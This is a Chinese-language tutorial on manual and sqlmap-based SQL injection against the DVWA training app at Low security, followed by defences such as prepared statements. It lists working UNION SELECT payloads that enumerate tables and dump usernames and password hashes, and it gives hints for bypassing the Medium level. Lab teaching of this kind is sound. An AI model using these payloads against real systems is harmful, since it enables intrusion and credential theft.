【DVWA系列】——SQL注入——low详细教程
本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
文章目录
- 一、环境准备
- 二、漏洞分析(Low级别)
- 三、SQL注入攻击步骤
- 1. 探测注入点
- 2. 判断字段数
- 3. 确定回显位置
- 4. 获取数据库信息
- 5. 获取表名
- 6. 获取字段名(users表)
- 7. 拖取用户数据
- 四、防御建议
- 五、总结
- 提取关键信息
- 自动化工具利用(sqlmap)
- 1. 捕获请求
- 2. sqlmap扫描命令
- Low级别与其他级别防护对比
本文环境Security Level:low
以下是针对DVWA(Damn Vulnerable Web Application)中SQL注入漏洞在 Low安全级别下的详细教程,包含环境配置、漏洞原理、利用步骤及防御建议:
一、环境准备
1设置安全级别
- 进入 DVWA Security → 选择 Security Level: Low → 点击 Submit。
二、漏洞分析(Low级别)
- 漏洞代码(查看源码路径:
/vulnerabilities/view_source.php?id=sqli
):$id = $_REQUEST['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
- 问题:用户输入的
$id
直接嵌入SQL语句,攻击者可通过插入单引号('
)闭合原有语句,注入恶意代码。
三、SQL注入攻击步骤
1. 探测注入点
- 输入:
'
(英文单引号)
响应:SQL语法报错(如You have an error in your SQL syntax...
)→ 存在字符型注入。
2. 判断字段数
-
输入:
1' ORDER BY 2 #
→ 正常返回
输入:
1' ORDER BY 3 #
→ 报错
结论:原查询返回2个字段。
3. 确定回显位置
- 输入:
1' UNION SELECT 1,2 #
响应:页面显示数字1
和2
→ 两个字段均可回显数据。
4. 获取数据库信息
- 数据库名与版本:
响应:显示数据库名(如1' UNION SELECT database(), version() #
dvwa
)和MySQL版本。
5. 获取表名
- 输入:
响应:返回表名(如1' UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema = database() #
guestbook, users
)。
6. 获取字段名(users表)
- 输入:
响应:返回字段名(如1' UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users' #
user_id, user, password
)。
7. 拖取用户数据
- 输入:
响应:显示所有用户名及MD5加密的密码(如1' UNION SELECT user, password FROM users #
admin → 5f4dcc3b5aa765d61d8327deb882cf99
)。
四、防御建议
- 预处理语句(PDO) :
$stmt = $conn->prepare("SELECT first_name FROM users WHERE user_id = ?"); $stmt->bind_param("i", $id); // "i"表示整数类型 $stmt->execute();
- 输入过滤:
- 数字型参数:
if (is_numeric($_GET['id'])) { ... }
- 字符型参数:使用
mysqli_real_escape_string()
转义单引号等特殊字符。
- 数字型参数:
- 最小权限原则:数据库账户仅授予必要权限(如禁止
DROP
)。
五、总结
- Low级别漏洞本质:未过滤用户输入,直接拼接SQL语句导致命令执行。
- 攻击核心:通过
UNION SELECT
联合查询逐步获取数据库元数据及敏感信息。 - 防御核心:预处理语句是根治SQL注入的最有效方案。
提取关键信息
目标信息 | Payload示例 | 作用说明 |
---|---|---|
数据库名与版本 | -1' UNION SELECT database(), version()# | 获取当前库名(如dvwa )及MySQL版本 |
所有表名 | -1' UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()# | 返回表名(如guestbook, users ) |
users表字段名 | -1' UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name='users'# | 返回字段名(如user, password ) |
用户凭证数据 | -1' UNION SELECT user, password FROM users# | 获取用户名及MD5加密密码 |
自动化工具利用(sqlmap)
1. 捕获请求
- 使用Burp Suite或浏览器开发者工具获取提交
id=1
时的HTTP请求(含Cookie)。
2. sqlmap扫描命令
sqlmap -u "http://靶机IP/vulnerabilities/sqli/?id=1&Submit=Submit" \--cookie="PHPSESSID=xxx; security=low" \--batch --dbs
- 关键参数:
--dbs
:列出所有数据库
-D dvwa --tables
:获取dvwa
库的表
-D dvwa -T users --dump
:导出users
表数据(自动破解弱口令MD5)。
Low级别与其他级别防护对比
安全级别 | 输入方式 | 防护措施 | 绕过难度 |
---|---|---|---|
Low | 文本框直接输入 | 无过滤 | ⭐ |
Medium | 下拉菜单 | mysql_real_escape_string 转义 | ⭐⭐ |
High | 独立输入页 | Token校验 + LIMIT 1限制 | ⭐⭐⭐ |
Impossible | 表单验证 | PDO预处理 + CSRF Token | 不可绕过 |
- Low级别漏洞本质:用户输入直接拼接SQL语句,无过滤无转义。
- 攻击核心:通过闭合单引号注入
UNION SELECT
联合查询,逐步获取数据库元信息及敏感数据。 - 防御核心:预处理语句是唯一根治方案,辅以输入验证与最小权限原则。
⚠️ 注:本教程仅用于教育目的,实际渗透需获得授权。建议在DVWA的Medium/High级别中练习更复杂的绕过技巧。
相关学习问题
- Medium级别如何绕过
mysql_real_escape_string
?
→ 通过数字型注入或十六进制编码绕过单引号过滤(如table_name=0x7573657273
)。 - 布尔盲注与时间盲注在Low盲注模块的区别?
→ 布尔盲注依赖页面返回状态(存在/缺失),时间盲注通过SLEEP()
函数观察响应延迟判断条件真伪。 - PDO预处理为何能彻底防御SQL注入?
→ PDO将用户输入视为数据参数而非SQL代码,从语法层面隔离指令与数据。
如需进一步实践,可参考:DVWA渗透测试实战指南|SQL注入防御最佳实践。
⚠️ 注:本教程仅用于安全学习。实际渗透测试需获得授权,避免非法攻击。
通过此教程,可清晰掌握DVWA Low级别SQL注入的手动利用链及防御逻辑。建议逐步挑战Medium/High级别,理解不同防护机制的绕过技巧。
宇宙级免责声明
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助!记得负责任地进行安全测试。